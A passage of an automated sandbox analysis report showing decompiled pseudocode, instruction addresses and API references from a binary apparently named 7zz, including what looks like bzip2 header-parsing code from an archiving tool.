								 *(_t1785 - 0x18) = _t1739;
								 *(_t1785 - 0x60) = 0;
								 *(_t1785 - 0x5c) = 0;
								if(_t1739 > 0) {
									_t1779 =  *((intOrPtr*)(_t1785 - 0xc8));
									_t1740 = _t1779 + _t1706 * 4;
									_t1708 =  *((intOrPtr*)(_t1445 + 0x70)) - _t1779;
									 *(_t1785 - 0x68) = _t1708;
									goto L20;
									L24:
									_t1740 =  &(_t1740[1]);
									if( *(_t1785 - 0x2c) <  *(_t1785 - 0x18)) {
										_t1708 =  *(_t1785 - 0x68);
										L20:
										_t1709 =  *((intOrPtr*)(_t1740 + _t1708));
										if( *((char*)(_t1709 + 0x1c)) != 0) {
											_t1780 =  *_t1740;
											 *(_t1785 - 0x2c) =  *(_t1785 - 0x2c) + 1;
											if(_t1780 >= 0 &&  *((char*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t1785 + 8)) + 0xc)) + _t1780 * 4)) + 0x38)) == 0) {
												 *(_t1785 - 0x24) =  *(_t1785 - 0x24) + 1;
												 *(_t1785 - 0x60) =  *(_t1785 - 0x60) +  *_t1709;
												asm("adc [ebp-0x5c], ecx");
											}
										}
										goto L24;
									}
									if( *(_t1785 - 0x24) == 0) {
										goto L41;
									}
									 *(_t1785 - 0x84) =  *(_t1785 - 0x1c);
									 *(_t1785 - 0x7c) =  *(_t1785 - 0x24);
									_t1436 =  *((intOrPtr*)( *((intOrPtr*)(_t1445 + 0x48)) + _t1434));
									_t1715 =  *((intOrPtr*)(_t1436 + 8)) - 1;
									if(_t1715 < 0) {
										L31:
										 *(_t1785 - 0x11) =  *(_t1785 - 0x11) & 0x00000000;
										goto L32;
									} else {
										_t1782 =  *((intOrPtr*)(_t1436 + 0xc)) + _t1715 * 4;
										while(1) {
											_t1742 =  *_t1782;
											if( *_t1742 == 0x6f10701 &&  *((intOrPtr*)(_t1742 + 4)) == 0) {
												break;
											}
											_t1715 = _t1715 - 1;
											_t1782 = _t1782 - 4;
											if(_t1715 >= 0) {
												continue;
											}
											goto L31;
										}
										 *(_t1785 - 0x11) = 1;
										L32:
										_t1739 = L004334B1(_t1436) & 0x000000ff;
										_t1438 = L0043352C( *(_t1785 - 0x11), L004334B1(_t1436) & 0x000000ff);
										_t1788 = _t1788 - 0xc;
										 *((intOrPtr*)(_t1785 - 0x80)) = _t1438;
										asm("movsd");
										asm("movsd");
										asm("movsd");
										E0041CA36(_t1785 - 0xb4);
										if( *(_t1785 - 0x24) !=  *(_t1785 - 0x18)) {
											_t1719 =  *(_t1785 - 0x60);
											_t1441 =  *(_t1785 - 0x5c);
											 *(_t1785 - 0x54) =  *(_t1785 - 0x54) + _t1719;
											asm("adc [ebp-0x50], eax");
											__eflags = _t1441 -  *(_t1785 - 0x74);
											if(__eflags < 0) {
												L39:
												__eflags =  *(_t1785 - 0x11);
												if( *(_t1785 - 0x11) != 0) {
													 *(_t1785 - 0x26) = 1;
												}
												goto L41;
											}
											if(__eflags > 0) {
												L38:
												 *(_t1785 - 0x78) = _t1719;
												 *(_t1785 - 0x74) = _t1441;
												goto L39;
											}
											__eflags = _t1719 -  *(_t1785 - 0x78);
											if(_t1719 <=  *(_t1785 - 0x78)) {
												goto L39;
											}
											goto L38;
										}
										 *(_t1785 - 0x54) =  *(_t1785 - 0x54) + E00429872(_t1445,  *(_t1785 - 0x1c));
										asm("adc [ebp-0x50], edx");
										goto L41;
									}
								}
								L41:
								 *(_t1785 - 0x1c) =  *(_t1785 - 0x1c) + 1;
							} while ( *(_t1785 - 0x1c) <  *((intOrPtr*)(_t1445 + 0x44)));
							goto L42;
						} else {
							goto L13;
						}
						do {
							L13:
							_t1724 =  *( *( *((intOrPtr*)(_t1757 + 0xc)) + _t1431 * 4));
							if(_t1724 != 0xffffffff) {
								 *( *((intOrPtr*)(_t1785 - 0xc8)) + _t1724 * 4) = _t1431;
							}
							_t1431 = _t1431 + 1;
						} while (_t1431 <  *(_t1757 + 8));
						goto L16;
					} else {
						goto L11;
					}
					do {
						L11:
						E00415C6D(_t1785 - 0xd4, 0xffffffff);
						_t1751 = _t1751 + 1;
					} while (_t1751 <  *((intOrPtr*)(_t1445 + 0x6c)));
					goto L12;
				}
			}

0x00431203
0x00431208
0x0043120e
0x00431215
0x00431218
0x0043121c
0x0043121f
0x00431222
0x00431229
0x0043122c
0x0043122d
0x0043122f
0x00431236
0x00431236
0x0043123b
0x0043124b
0x0043124d
0x0043124d
0x0043123d
0x0043123d
0x00431243
0x00431243
0x00431251
0x0043125b
0x00000000
0x00000000
0x00431263
0x00431264
0x00431265
0x00431269
0x0043126a
0x0043126b
0x00431272
0x00000000
0x00000000
0x00000000
0x00431278
0x00431278
0x00431280
0x00431285
0x00431297
0x0043129a
0x0043129f
0x004312a9
0x004312ad
0x004312b2
0x004312b6
0x004312b9
0x004312bc
0x004312bf
0x004312c2
0x00431483
0x00431483
0x00431486
0x0043148b
0x0043148e
0x00431491
0x004314dd
0x004314dd
0x004314e0
0x004314e3
0x004314f2
0x004314f5
0x004314f5
0x004314f8
0x00431500
0x00431509
0x0043150c
0x0043150c
0x00431512
0x0043151b
0x00431520
0x00431529
0x0043152b
0x00431531
0x00431534
0x00431536
0x0043153a
0x00431547
0x00431547
0x0043153c
0x00431543
0x00431543
0x00431549
0x0043154b
0x0043154e
0x00431552
0x00431555
0x0043155a
0x0043155a
0x0043155d
0x00431562
0x00431566
0x00431571
0x00431576
0x0043157d
0x00431581
0x00431598
0x0043159b
0x004315a0
0x004315a9
0x004315ad
0x004315ae
0x004315b4
0x004315c2
0x004315c3
0x004315c7
0x004315d2
0x004315d6
0x004315db
0x004315db
0x004315db
0x004315de
0x004315e1
0x004315e6
0x004315e9
0x004315ed
0x004315f5
0x004315f5
0x004315f5
0x004315f5
0x004315f9
0x004315f9
0x004315fc
0x00431600
0x00431604
0x004316cc
0x004316cc
0x004316d3
0x004316d7
0x00431808
0x0043180d
0x00431811
0x00431816
0x00431818
0x0043181b
0x00431864
0x00431869
0x0043186b
0x0043186e
0x004318b4
0x004318b7
0x004318ba
0x004318bd
0x004318c0
0x004318c3
0x004318cf
0x004318d2
0x004318d9
0x004318e2
0x004318e4
0x00431907
0x004318e6
0x004318ec
0x004318f0
0x004318f5
0x004318f5
0x0043190e
0x00431913
0x00431915
0x00431942
0x00431948
0x0043194f
0x00431956
0x00431956
0x00431917
0x00431917
0x0043191e
0x00431920
0x00431926
0x00431928
0x0043192a
0x00431934
0x00431934
0x00431939
0x00431939
0x0043191e
0x00431966
0x00431967
0x0043196c
0x0043196f
0x00431973
0x00431979
0x00431e51
0x00431e54
0x00431e57
0x00431e59
0x00431e5c
0x00000000
0x00000000
0x00431e6a
0x00431e6f
0x00431e80
0x00431e84
0x00431e89
0x00431e8d
0x00431e95
0x00431e95
0x00431ea5
0x00431ea5
0x00431ea9
0x00431eab
0x00431efd
0x00431f0f
0x00431f1c
0x00431f21
0x00431f32
0x00431f36
0x00431f3b
0x00431f3d
0x00431f67
0x00431f67
0x00431f6b
0x00431f6d
0x004322d9
0x004322df
0x004322e3
0x004322ee
0x004322f2
0x00000000
0x004322f2
0x00431f78
0x00431f82
0x00431f88
0x00431f8e
0x00431f94
0x00431f9a
0x00431fa0
0x00431fa5
0x00431fa9
0x00431fac
0x00431fb0
0x00000000
0x00000000
0x00431fb6
0x00431fb6
0x00431fb6
0x00431fb9
0x00431fbb
0x00431fbc
0x00431fbf
0x00000000
0x00000000
0x00431fc5
0x00431fd0
0x00431fe4
0x00431fed
0x00431ff3
0x00431ff6
0x00431ffc
0x00432002
0x00432005
0x00000000
0x00000000
0x0043200b
0x00432018
0x00432018
0x0043201c
0x0043206d
0x0043206d
0x00432078
0x0043207b
0x00000000
0x00000000
0x00000000
0x00432081
0x00432025
0x0043202a
0x0043202e
0x00432032
0x00432048
0x00432054
0x00432059
0x0043205b
0x00432089
0x0043208d
0x00000000
0x00432092
0x0043205d
0x00432063
0x00432067
0x00000000
0x0043206c
0x00432041
0x00000000
0x00432041
0x0043200d
0x00432013
0x00432016
0x00000000
0x00000000
0x00000000
0x00432016
0x00431fc7
0x00431fca
0x00000000
0x00000000
0x00000000
0x00431fca
0x00432093
0x00432097
0x004320a0
0x004320a0
0x004320a2
0x004320a8
0x004320ab
0x004320ad
0x004320b1
0x004320bc
0x004320bc
0x004320b3
0x004320b5
0x004320b5
0x004320be
0x004320c0
0x004320c3
0x004320c7
0x004320ca
0x004320cf
0x004320cf
0x004320db
0x004320de
0x004320ee
0x004320f9
0x00432101
0x00432102
0x0043210b
0x00432111
0x00432118
0x0043211f
0x00432123
0x00432124
0x00432126
0x00432129
0x0043212e
0x00432130
0x00432133
0x00432679
0x0043267d
0x00432682
0x00432685
0x00432689
0x0043268b
0x00432690
0x00432690
0x00432699
0x0043269f
0x004326a9
0x004326b4
0x004326b8
0x004326c3
0x004326c7
0x004326d2
0x004326d6
0x004326db
0x004326e5
0x004326e9
0x004326f1
0x004326f5
0x00432700
0x00432704
0x00432709
0x0043270b
0x0043270f
0x00432714
0x00432714
0x00432717
0x00432721
0x00432726
0x00432730
0x00432735
0x00432139
0x00432139
0x0043213c
0x0043213c
0x0043213f
0x00000000
0x00000000
0x00432144
0x0043214b
0x0043214e
0x00432151
0x00432151
0x0043215f
0x00432168
0x00432169
0x0043216c
0x0043216f
0x00432172
0x00432177
0x00432179
0x0043217c
0x0043217f
0x00432289
0x0043228f
0x00432292
0x004322a0
0x004322a3
0x004322a7
0x004322aa
0x004322af
0x004322b2
0x004322b6
0x004322b8
0x004322bd
0x004322bd
0x004322c6
0x004322ca
0x004322cf
0x004322d3
0x00431f75
0x00431f82
0x00431f88
0x00431f8e
0x00431f94
0x00431f9a
0x00431fa0
0x00431fa5
0x00431fa9
0x00431fac
0x00431fb0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004322d3
0x00432188
0x00432188
0x0043218b
0x0043218e
0x004321a9
0x004321ac
0x004321b1
0x004321b4
0x004321b8
0x004321c2
0x004321c3
0x004321dd
0x004321e1
0x004321e3
0x004321c5
0x004321c8
0x004321ce
0x004321ce
0x004321e8
0x004321ef
0x00000000
0x00000000
0x004321f5
0x004321fc
0x00000000
0x00000000
0x00432202
0x00432205
0x00432208
0x0043220c
0x00432214
0x0043221a
0x0043221d
0x00432220
0x00432226
0x0043222a
0x0043222c
0x00432232
0x00432247
0x0043224e
0x0043224e
0x0043224e
0x00432234
0x00432234
0x00432237
0x0043223e
0x0043223e
0x0043225e
0x00432265
0x00432266
0x00432266
0x00432271
0x00432275
0x0043227a
0x0043227e
0x0043227f
0x00432283
0x00000000
0x00000000
0x00000000
0x00000000
0x00432283
0x00432743
0x00432749
0x00432753
0x00432758
0x0043275b
0x0043275f
0x00432761
0x00432766
0x00432766
0x0043276f
0x00432775
0x0043277f
0x0043278a
0x0043278e
0x00432799
0x0043279d
0x004327a8
0x004327ac
0x004327b1
0x004327bb
0x004327bf
0x004327c7
0x004327cb
0x004327d6
0x004327da
0x004327df
0x004327e1
0x004327e5
0x004327ea
0x004327ea
0x004327ed
0x004327f7
0x004327fc
0x00432806
0x0043280b
0x0043280b
0x00000000
0x00432133
0x00432099
0x00432099
0x00000000
0x00432099
0x00431f78
0x00431f3f
0x00431f3f
0x00431f3f
0x00431f43
0x00431f46
0x00431f59
0x00431f5e
0x00431f62
0x00431f62
0x00431f62
0x00431f62
0x00000000
0x00000000
0x00000000
0x00000000
0x00431ead
0x00431ead
0x00431eb3
0x00431ebc
0x00431ec8
0x00431ec9
0x00431ed0
0x00431ed5
0x00431edc
0x00431edf
0x00431edf
0x00431ee7
0x00431eec
0x00431ef2
0x00431ef2
0x00431ef7
0x00431efa
0x00000000
0x00431efa
0x00431e8f
0x00431e93
0x00431e9e
0x00431e9e
0x00431e9e
0x00000000
0x00431e9e
0x00000000
0x0043197f
0x00431982
0x00431985
0x0043198d
0x00431993
0x00431995
0x0043199b
0x0043199e
0x00000000
0x00000000
0x004319a4
0x004319a7
0x004319aa
0x004319b1
0x004319b4
0x004319b7
0x00431a88
0x00431a93
0x00431a97
0x00431a9c
0x00431a9e
0x00431aa1
0x004323fd
0x00432401
0x0043240c
0x00432410
0x0043241b
0x0043241f
0x00432424
0x0043242e
0x00432432
0x0043243a
0x0043243e
0x00432449
0x0043244d
0x00432452
0x00432454
0x00432458
0x0043245d
0x0043245d
0x00432460
0x00000000
0x00432460
0x00431aa7
0x00431aaa
0x00431ab6
0x00431aba
0x00431abb
0x00431abf
0x00431acc
0x00431ad1
0x00431ade
0x00431ae2
0x00431ae6
0x00431aef
0x00431af1
0x00431af4
0x00431af7
0x00431b51
0x00431b6b
0x00431b70
0x00431b72
0x00431b75
0x0043246e
0x00432472
0x00432477
0x0043247a
0x0043247e
0x00432480
0x00432485
0x00432485
0x00432488
0x0043248b
0x0043248f
0x00432491
0x00432496
0x00432496
0x0043249f
0x004324a3
0x004324ae
0x004324b2
0x004324bd
0x004324c1
0x004324c6
0x004324d0
0x004324d4
0x004324dc
0x004324e0
0x004324eb
0x004324ef
0x004324f4
0x004324f6
0x004324fa
0x004324ff
0x004324ff
0x00432502
0x00000000
0x00432502
0x00431b7b
0x00431b7e
0x00431b80
0x00431b85
0x00431b88
0x00431b88
0x00431b88
0x00431b88
0x00431b98
0x00431ba0
0x00431ba9
0x00431bb5
0x00431bb7
0x00431bba
0x00431bbf
0x00431bcc
0x00431bd2
0x00431bd8
0x00431bec
0x00431bf2
0x00431c03
0x00431c06
0x00431c0e
0x00431c0f
0x00431c1b
0x00431c1f
0x00431c26
0x00431c2a
0x00431c2b
0x00431c2d
0x00431c30
0x00431c35
0x00431c37
0x00431c3a
0x00432510
0x00432514
0x0043251f
0x00432523
0x00432528
0x0043252b
0x0043252f
0x00432531
0x00432536
0x00432536
0x00432539
0x0043253c
0x00432540
0x00432542
0x00432547
0x00432547
0x00432550
0x00432554
0x0043255f
0x00432563
0x0043256e
0x00432572
0x00432577
0x00432581
0x00432585
0x0043258d
0x00432591
0x0043259c
0x004325a0
0x004325a5
0x004325a7
0x004325ab
0x004325b0
0x004325b0
0x004325b3
0x00000000
0x00431c40
0x00431c46
0x00431c4b
0x00431c52
0x004325bb
0x004325c7
0x004325cb
0x004325d6
0x004325da
0x004325df
0x004325e2
0x004325e6
0x004325e8
0x004325ed
0x004325ed
0x004325f0
0x004325f3
0x004325f7
0x004325f9
0x004325fe
0x004325fe
0x00432607
0x0043260b
0x00432616
0x0043261a
0x00432625
0x00432629
0x0043262e
0x00432638
0x0043263c
0x00432644
0x00432648
0x00000000
0x00432648
0x00431c58
0x00431c5b
0x00431c5e
0x00431c61
0x00431c7f
0x00431c8a
0x00431c93
0x00431c94
0x00431c97
0x00431c9a
0x00431c9d
0x00431ca8
0x00431cac
0x00431cb7
0x00431cbb
0x00431cc0
0x00431cc3
0x00431cc7
0x00431cc9
0x00431cce
0x00431cce
0x00431cd1
0x00431cd4
0x00431cd8
0x00431cda
0x00431cdf
0x00431cdf
0x00431ce8
0x00431cec
0x00431cf1
0x00431cfa
0x00431cfd
0x00431d0b
0x00431d0f
0x00431d12
0x00431d15
0x00431d17
0x00431d1a
0x00431e3b
0x00431e3b
0x00431e3e
0x00431e45
0x00431e4b
0x0043198a
0x00000000
0x0043198a
0x00000000
0x00000000
0x00000000
0x00000000
0x00431d20
0x00431d20
0x00431d26
0x00431d3c
0x00431d40
0x00431d45
0x00431d4c
0x00431d58
0x00431d5b
0x00431d5e
0x00431d60
0x00431d6c
0x00431d6f
0x00431d72
0x00431d76
0x00431d7c
0x00431d80
0x00431d8c
0x00431d9a
0x00431d9b
0x00431da1
0x00431da5
0x00431db6
0x00431dc2
0x00431dce
0x00431dda
0x00431de6
0x00431df3
0x00431df8
0x00431e02
0x00431e07
0x00431e11
0x00431e18
0x00431e19
0x00431e19
0x00431d76
0x00431d60
0x00431e24
0x00431e28
0x00431e30
0x00431e31
0x00431e34
0x00000000
0x00000000
0x00000000
0x00000000
0x00431c63
0x00431c63
0x00431c66
0x00431c6d
0x00431c70
0x00431c73
0x00431c76
0x00431c77
0x00431c77
0x00431c7c
0x00000000
0x00431c7c
0x00431c3a
0x00431af9
0x00431afc
0x00431b04
0x00431b07
0x00431b0b
0x00431b0e
0x00431b12
0x00431b1a
0x00431b1d
0x00431b20
0x00431b22
0x00431b2a
0x00431b2d
0x00431b31
0x00431b33
0x00431b33
0x00431b31
0x00431b22
0x00431b40
0x00431b48
0x00431b4c
0x00431b4f
0x00000000
0x00000000
0x00431b01
0x00431b01
0x00000000
0x00431b04
0x004319c0
0x004319c5
0x004319cb
0x004319d1
0x004319d2
0x004319d3
0x004319da
0x004319e0
0x004319f6
0x004319fc
0x00431a00
0x00431a01
0x00431a04
0x00431a09
0x00431a0b
0x00431a0e
0x0043237d
0x00432381
0x0043238c
0x00432390
0x00432395
0x0043239f
0x004323a3
0x004323ab
0x004323af
0x004323ba
0x004323be
0x004323c3
0x004323c5
0x004323c9
0x004323ce
0x004323ce
0x004323d1
0x004323db
0x004323e0
0x004323ea
0x004323ef
0x00000000
0x004323ef
0x00431a1a
0x00431a23
0x00431a2f
0x00431a33
0x00431a36
0x00431a39
0x00431a3c
0x00431a40
0x00431a6f
0x00431a6f
0x00431a72
0x00431a75
0x00431a78
0x00000000
0x00431a78
0x00431a44
0x00431a44
0x00431a47
0x00431a4a
0x00431a58
0x00431a5d
0x00431a60
0x00431a66
0x00431a6a
0x00431a6a
0x00000000
0x00431a4a
0x00000000
0x0043198d
0x004322f7
0x004322fd
0x00432301
0x0043230c
0x00432310
0x00432315
0x00432318
0x00432318
0x00432325
0x0043232b
0x00432817
0x0043281e
0x00432824
0x0043282a
0x0043282d
0x00432837
0x0043283a
0x0043283e
0x00432841
0x00432844
0x00432898
0x004328a4
0x004328a9
0x004328ad
0x004328b4
0x0043293f
0x00432945
0x00432949
0x00432951
0x00432956
0x00432960
0x00432964
0x0043296c
0x00432970
0x0043297b
0x0043297f
0x00432984
0x00432986
0x0043298a
0x0043298f
0x0043298f
0x00432992
0x00432992
0x00000000
0x00000000
0x00000000
0x00000000
0x004328ba
0x004328ba
0x004328c9
0x004328d2
0x004328d7
0x004328e1
0x004328e5
0x004328e6
0x004328ff
0x00432900
0x00432902
0x004328e8
0x004328f0
0x004328f0
0x00432910
0x00432917
0x00432918
0x0043291d
0x00432927
0x0043292c
0x00432933
0x00432933
0x00000000
0x00000000
0x00000000
0x00000000
0x00432846
0x00432846
0x0043284c
0x0043284f
0x00432853
0x0043286c
0x0043286e
0x00432871
0x0043287f
0x00432888
0x00000000
0x00432888
0x00432879
0x0043287d
0x0043287d
0x00000000
0x00000000
0x00000000
0x0043287d
0x00432855
0x00432859
0x00000000
0x00000000
0x0043285b
0x0043285f
0x00000000
0x00000000
0x00000000
0x0043288d
0x0043288d
0x00432893
0x00432893
0x00000000
0x00432846
0x00432331
0x0043233b
0x0043233f
0x00432347
0x0043234b
0x00432356
0x0043235a
0x0043235f
0x00432361
0x00432365
0x0043236a
0x0043236a
0x0043236d
0x00000000
0x0043236d
0x00431870
0x0043187a
0x0043187e
0x00431886
0x0043188a
0x00431895
0x00431899
0x0043189e
0x004318a0
0x004318a4
0x004318a9
0x004318a9
0x004318ac
0x00000000
0x004318ac
0x0043181d
0x00431827
0x0043182b
0x00431833
0x00431837
0x00431842
0x00431846
0x0043184b
0x0043184d
0x00431851
0x00431856
0x00431856
0x00431859
0x00000000
0x00431859
0x004316dd
0x004316e4
0x004316e7
0x004316ea
0x004316ec
0x004316f0
0x0043170c
0x0043170c
0x004316f2
0x004316f2
0x004316f8
0x004316fc
0x004316ff
0x00431704
0x00431704
0x00431715
0x00431719
0x0043171f
0x00431727
0x00431729
0x0043172d
0x00431740
0x00431743
0x00431745
0x0043178d
0x00431793
0x00431798
0x0043179c
0x0043179f
0x004317a1
0x004317a4
0x004317a7
0x004317f3
0x004317f6
0x004317fb
0x00431802
0x00000000
0x00431802
0x004317a9
0x004317af
0x004317b9
0x004317bd
0x004317c5
0x004317c9
0x004317d4
0x004317d8
0x004317dd
0x004317df
0x004317e3
0x004317e8
0x004317e8
0x004317eb
0x00000000
0x004317eb
0x00431747
0x00431751
0x00431755
0x0043175d
0x00431761
0x0043176c
0x00431770
0x00431775
0x00431777
0x0043177b
0x00431780
0x00431780
0x00431783
0x00000000
0x0043172f
0x00431732
0x00431736
0x00000000
0x00431736
0x00000000
0x00000000
0x00000000
0x0043160a
0x0043160a
0x0043160d
0x00431610
0x00431613
0x00431617
0x00000000
0x00000000
0x0043161d
0x00431621
0x00000000
0x00000000
0x00431627
0x0043162b
0x00000000
0x00000000
0x00431634
0x00431634
0x00431637
0x00000000
0x00000000
0x0043163d
0x00431641
0x00431645
0x0043169e
0x0043169e
0x004316b5
0x004316ba
0x00000000
0x004316ba
0x00431647
0x0043164a
0x0043164d
0x0043164f
0x00000000
0x00000000
0x00431651
0x00431653
0x00431657
0x00431657
0x0043165b
0x00000000
0x00000000
0x0043165d
0x0043165f
0x0043166b
0x0043166b
0x0043166e
0x0043166e
0x00431670
0x00431672
0x0043167b
0x00431682
0x0043168b
0x0043168e
0x00431698
0x0043169d
0x00000000
0x00431670
0x00431662
0x00431662
0x00431667
0x00000000
0x004316bd
0x004316bd
0x004316c3
0x004316c3
0x00000000
0x0043160a
0x004315ef
0x004315f3
0x00000000
0x00000000
0x00000000
0x00431583
0x0043158e
0x00431590
0x00431592
0x0043264d
0x00432653
0x00432657
0x0043265c
0x0043265e
0x00432662
0x0043266b
0x0043266b
0x00000000
0x00432662
0x00000000
0x00431592
0x00431522
0x00431522
0x00432994
0x00432994
0x0043299e
0x004329a3
0x004329ad
0x004329b2
0x004329b4
0x004329b9
0x004329c2
0x004329c2
0x00431520
0x00431493
0x00431496
0x00431496
0x0043149c
0x00000000
0x00000000
0x0043149e
0x004314a1
0x004314a4
0x004314a7
0x004314ae
0x004314b6
0x004314b9
0x00000000
0x004314be
0x004314be
0x004314c1
0x004314d0
0x004314d0
0x00000000
0x004314d0
0x004314c3
0x004314ca
0x004314ca
0x004314cd
0x00000000
0x004314cd
0x004314c5
0x004314c8
0x00000000
0x00000000
0x00000000
0x004314c8
0x004314d2
0x004314d2
0x004314d5
0x004314d8
0x00000000
0x00431496
0x004312d1
0x004312d6
0x004312db
0x004312f0
0x004312f0
0x004312f2
0x004312f7
0x00431315
0x00431318
0x0043131b
0x0043146d
0x00431479
0x0043147e
0x00431481
0x00000000
0x00000000
0x00000000
0x00000000
0x00431321
0x00431321
0x00431327
0x0043132c
0x00431337
0x0043133a
0x0043133d
0x00431340
0x00431343
0x00431346
0x00431349
0x0043134f
0x00431355
0x0043135b
0x0043135d
0x00431360
0x00431394
0x00431397
0x0043139d
0x00431362
0x00431365
0x00431365
0x0043136c
0x0043136e
0x00431370
0x00431375
0x00431388
0x0043138b
0x00431391
0x00431391
0x00431375
0x00000000
0x0043136c
0x004313a3
0x00000000
0x00000000
0x004313ac
0x004313b5
0x004313bb
0x004313c1
0x004313c4
0x004313e4
0x004313e4
0x00000000
0x004313c6
0x004313c9
0x004313cc
0x004313cc
0x004313d4
0x00000000
0x00000000
0x004313dc
0x004313dd
0x004313e2
0x00000000
0x00000000
0x00000000
0x004313e2
0x00431430
0x004313e8
0x004313f2
0x004313f5
0x004313fa
0x00431405
0x00431408
0x00431409
0x00431410
0x00431411
0x0043141c
0x00431436
0x00431439
0x0043143c
0x0043143f
0x00431442
0x00431445
0x00431454
0x00431454
0x00431458
0x0043145a
0x0043145a
0x00000000
0x00431458
0x00431447
0x0043144e
0x0043144e
0x00431451
0x00000000
0x00431451
0x00431449
0x0043144c
0x00000000
0x00000000
0x00000000
0x0043144c
0x00431428
0x0043142b
0x00000000
0x0043142b
0x004313c4
0x0043145e
0x0043145e
0x00431464
0x00000000
0x00000000
0x00000000
0x00000000
0x004312f9
0x004312f9
0x004312ff
0x00431304
0x0043130c
0x0043130c
0x0043130f
0x00431310
0x00000000
0x00000000
0x00000000
0x00000000
0x004312dd
0x004312dd
0x004312e5
0x004312ea
0x004312eb
0x00000000
0x004312dd

APIs

__EH_prolog.LIBCMT ref: 00431203
SysFreeString.OLEAUT32(00000000), ref: 00431802

Part of subcall function 0040F5DB: __EH_prolog.LIBCMT ref: 0040F5E0

Part of subcall function 0042B864: __EH_prolog.LIBCMT ref: 0042B869

Part of subcall function 00428A47: __EH_prolog.LIBCMT ref: 00428A4C

Part of subcall function 00428510: __EH_prolog.LIBCMT ref: 00428515

SysFreeString.OLEAUT32(00000000), ref: 004317A9

Part of subcall function 0043353F: __EH_prolog.LIBCMT ref: 00433544

Strings

), xrefs: 00432960

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: H_prolog$FreeString
String ID: )
API String ID: 397689101-2427484129
Opcode ID: df01c1d9236870b908461b3370f7b2645975f0d64cdd804e5c176365fc9b52a3
Instruction ID: 3cd5448d51800a9ea3fb603d1c019fc727f39b37be062062b600306fe1c5b3de
Opcode Fuzzy Hash: df01c1d9236870b908461b3370f7b2645975f0d64cdd804e5c176365fc9b52a3
Instruction Fuzzy Hash: 06036C30900259DFDF15DFA5C984BEDBBB0AF18308F14809EE849A7292DB789E85CF55

Uniqueness

Uniqueness Score: -1.00%

Function 004465E0 Relevance: 4.0, Strings: 3, Instructions: 282
COMMONCrypto

Download Yara Rule

C-Code - Quality: 82%

			E004465E0(void* __ecx) {
				intOrPtr _t93;
				signed int _t97;
				void* _t113;
				void* _t119;
				void* _t206;
				void* _t208;
				void* _t209;
				void* _t214;
				void* _t215;
				char* _t216;
				intOrPtr _t220;
				void* _t222;
				void* _t223;
				void* _t224;

				_t214 = __ecx;
				 *((intOrPtr*)(__ecx + 0x6fe8)) =  *((intOrPtr*)(_t224 + 8));
				_t93 = E00446260(__ecx);
				if(_t93 != 0) {
					L39:
					return _t93;
				} else {
					_t215 = 0;
					if( *((intOrPtr*)(__ecx + 0x7010)) <= 0) {
						L9:
						_t216 =  *((intOrPtr*)(_t224 + 0x28));
						_t206 = 0;
						 *_t216 = 0;
						do {
							 *((char*)(_t224 + _t206 + 0x1c)) = E00445F70();
							_t206 = _t206 + 1;
						} while (_t206 < 4);
						if( *((char*)(_t224 + 0x1c)) != 0x42 ||  *((char*)(_t224 + 0x1d)) != 0x5a ||  *((char*)(_t224 + 0x1e)) != 0x68) {
							L38:
							return 0;
						}
						_t97 =  *(_t224 + 0x1f);
						if(_t97 <= 0x30 || _t97 > 0x39) {
							goto L38;
						}
						 *_t216 = 1;
						 *((intOrPtr*)(_t214 + 0x6fe4)) = 0;
						_t220 = ((_t97 & 0x000000ff) + (_t97 & 0x000000ff) * 4 + ((_t97 & 0x000000ff) + (_t97 & 0x000000ff) * 4) * 4 + ((_t97 & 0x000000ff) + (_t97 & 0x000000ff) * 4 + ((_t97 & 0x000000ff) + (_t97 & 0x000000ff) * 4) * 4) * 4 + ((_t97 & 0x000000ff) + (_t97 & 0x000000ff) * 4 + ((_t97 & 0x000000ff) + (_t97 & 0x000000ff) * 4) * 4 + ((_t97 & 0x000000ff) + (_t97 & 0x000000ff) * 4 + ((_t97 & 0x000000ff) + (_t97 & 0x000000ff) * 4) * 4) * 4) * 4 + ((_t97 & 0x000000ff) + (_t97 & 0x000000ff) * 4 + ((_t97 & 0x000000ff) + (_t97 & 0x000000ff) * 4) * 4 + ((_t97 & 0x000000ff) + (_t97 & 0x000000ff) * 4 + ((_t97 & 0x000000ff) + (_t97 & 0x000000ff) * 4) * 4) * 4 + ((_t97 & 0x000000ff) + (_t97 & 0x000000ff) * 4 + ((_t97 & 0x000000ff) + (_t97 & 0x000000ff) * 4) * 4 + ((_t97 & 0x000000ff) + (_t97 & 0x000000ff) * 4 + ((_t97 & 0x000000ff) + (_t97 & 0x000000ff) * 4) * 4) * 4) * 4) * 4 << 5) - 0x493e00;
						if( *((intOrPtr*)(_t214 + 0x7014)) == 0) {
							_t207 = _t214 + 0x138;
							 *((intOrPtr*)(_t224 + 0x18)) =  *((intOrPtr*)(_t214 + 0x6fec));
							asm("cdq");
							asm("sbb edx, ebx");
							asm("adc edx, ecx");
							_t93 = L00447BA0(_t214,  *((intOrPtr*)(_t214 + 0x140)) -  *((intOrPtr*)(_t214 + 0x148)) - (0x20 -  *((intOrPtr*)(_t214 + 0x138)) >> 3) +  *((intOrPtr*)(_t214 + 0x150)),  *((intOrPtr*)(_t214 + 0x6fec)));
							if(_t93 == 0) {
								while(1) {
									_t93 = E00446500(_t214, _t224 + 0x2c, _t224 + 0x1c);
									if(_t93 != 0) {
										goto L39;
									}
									if( *((intOrPtr*)(_t224 + 0x2c)) != 0) {
										goto L38;
									}
									_t146 =  *((intOrPtr*)(_t224 + 0x18));
									_push(_t224 + 0x28);
